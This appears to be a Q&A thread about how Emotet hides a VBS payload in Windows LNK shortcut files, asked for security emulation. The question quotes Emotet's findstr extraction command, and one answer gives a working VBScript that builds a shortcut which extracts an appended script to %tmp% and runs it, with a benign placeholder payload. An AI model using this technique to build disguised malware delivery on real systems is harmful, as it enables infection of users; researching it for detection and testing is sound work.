Appending Data to LNK Shortcut File [Emotet TTP]

Question

There has been a rise in the use of LNK shortcut files to deliver malware, in particular Emotet. Within the LNK file is a payload (usually a VBS script) that is found with findstr.exe. The payload is saved to a file and then run. For example, findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”

Security researchers say it is possible to append data to a LNK file without disrupting its functionality. So in the case of Emotet, a VBS script is being appended. I am attempting to create a benign LNK file that would mimic Emotet's activity.

How are these threat actors appending data to LNK shortcut files? I have crafted my own LNK file with PowerShell that simply opens calc.exe. With the use of a hex editor I attempted to add a simple script, but to no avail.

EDIT: To clarify, I work for a cyber security company and am trying to test my company's security posture through emulating this type of activity.

My question is based off the following article - Rise of LNK Shortcut Files

Answer 1

It looks like you can append any data you want to a .lnk file and Windows does not care. That being said, the .lnk binary file format is documented and you can embed custom datablocks if you really want the .lnk file to follow the spec. To do that it helps to use C or some other language that supports COM. Here I'm just using VBScript to generate the .lnk for simplicity.

GenerateLnk.vbs:

Set WShell = WScript.CreateObject("WScript.Shell")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
lnkfilename = "SO_Vir_Test.lnk"
set lnk = WShell.CreateShortcut(FSO.BuildPath(FSO.GetParentFolderName(WScript.ScriptFullName), lnkfilename))
lnk.TargetPath = FSO.BuildPath(WShell.ExpandEnvironmentStrings("%windir%"), "system32\cmd.exe")
lnk.IconLocation = "shell32.dll,1" ' Why not :)
magic = "Ev1LStArTsH3re"
lnk.Arguments = "/C findstr """+magic+".*"" """+lnkfilename+""" > ""%tmp%\Evil.vbs""&wscript ""%tmp%\Evil.vbs"""
lnk.Save
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo.") ' Newline to separate the script from the lnk data, otherwise findstr will include binary junk
WScript.Sleep(500) ' Hack to wait for the previous command, I'm sure there is a better way
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo "+magic+"=1::on error resume next::WScript.Echo(""Hello World"")::WScript.Quit(0)")

Paste the code into a .vbs file and execute it to generate a .lnk shortcut. When you execute this shortcut it will launch cmd.exe and cmd.exe will execute findstr "Ev1LStArTsH3re.*" "SO_Vir_Test.lnk" > "%tmp%\Evil.vbs"&wscript "%tmp%\Evil.vbs". Breaking this down, findstr will find the line that starts with our magic (Ev1LStArTsH3re) inside the .lnk and output that line to stdout. We have redirected stdout to a .vbs file in %temp%. After findstr is done we simply execute the .vbs file we just created. This .vbs file will just show a MessageBox but you could make it do something evil instead.

The big flaw with this exploit is that the user cannot rename the .lnk file before executing it! If the user renames the .lnk the findstr will fail and the whole thing falls flat on its face.

The other two examples in the McAfee blog you linked to simply executes some Powershell command and don't really do anything unusual with the .lnk file.

Answer 2

This isn't a complete solution - it provides background information and eventually turned into a roadmap to the other answers here:

• To rule out a misconception (which I had): The exploit you're referring to is based on embedding / appending data when the LNK file (extension .lnk, a Windows shortcut file) is constructed, not when the LNK file is later opened by the users.

• That is, the malicious code is already contained in the LNK file, albeit hidden from the casual observer.

• Opening the LNK file - which requires explicit user action - runs a command that itself appears nondescript / harmless (findstr ...), but extracts the malicious code contained in the LNK file itself to a VBS file (.vbs, a VBScript) and executes the latter.

The article you link to doesn't discuss how the malicious code that is extracted to a VBS script is stored inside the LNK file, but there are two possibilities:

• Keith Miller's answer discusses the binary file format of LNK files, which supports embedding arbitrary user-defined data. Anders states that the ExtraData field (section 2.5) is the logical choice, as it allows storing arbitrary data that isn't visible in the Properties dialog / via the WScript.Shell COM API. You'll need to construct such LNK files programmatically, using a lower-level language that has access to all COM APIs, such as C/C++.

• Anders' answer shows that you can even more simply append data in an unstructured manner to an existing LNK file without breaking its functionality.

  • Anders' answer shows how to use VBScript to construct the LNK file, but it's even possible to use the GUI to manually create the LNK file and then use simple shell commands using >> (cmd.exe) / Add-Content (PowerShell) to append the malicious code.

Answer 3

Go to this page:

• https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943

Where you can download:

• [MS-SHLLINK]: Shell Link (.LNK) Binary File Format

The file format allows data to be included in structures/sections that are never revealed by the file's Properties dialog or any of the properties available to the com object created by wscript.shell.

Likely suspects:

1.7 Vendor-Extensible Fields A shell data source can extend the persistence format by storing custom data inside ItemID structure. The ItemIDs embedded in an IDList are in a format specified by the shell data sources that manage the ItemIDs. The ItemIDs are free to store whatever data is needed in this structure to uniquely identify the items in their namespace. The property store embedded in a link can be used to store property values in the shell link.

or perhaps:

2.4 StringData StringData refers to a set of structures that convey user interface and path identification information. The presence of these optional structures is controlled by LinkFlags (section 2.1.1) in the ShellLinkHeader (section 2.1).

or...

2.5 ExtraData ExtraData refers to a set of structures that convey additional information about a link target. These optional structures can be present in an extra data section that is appended to the basic Shell Link Binary File Format.

There's a lot to digest...Good luck!!!

Answer 4

In this attack scenario, using methods like IShellLinkDataList::AddDataBlock is not the most optimal choice. In real-world or red team environments, attackers typically directly use hex editors to compress binary or malicious script data into shortcuts. This makes it much easier for attackers to customize shortcut files.

You can try opening a .lnk file with a hex editor, then paste the binary/script data at the END OF THE FILE. Windows will still recognize this as a regular shortcut file. This allows you to execute findstr/find scripts to read the compressed script and execute it.

You can even use scripts like Python to achieve this by opening and appending the file in binary mode.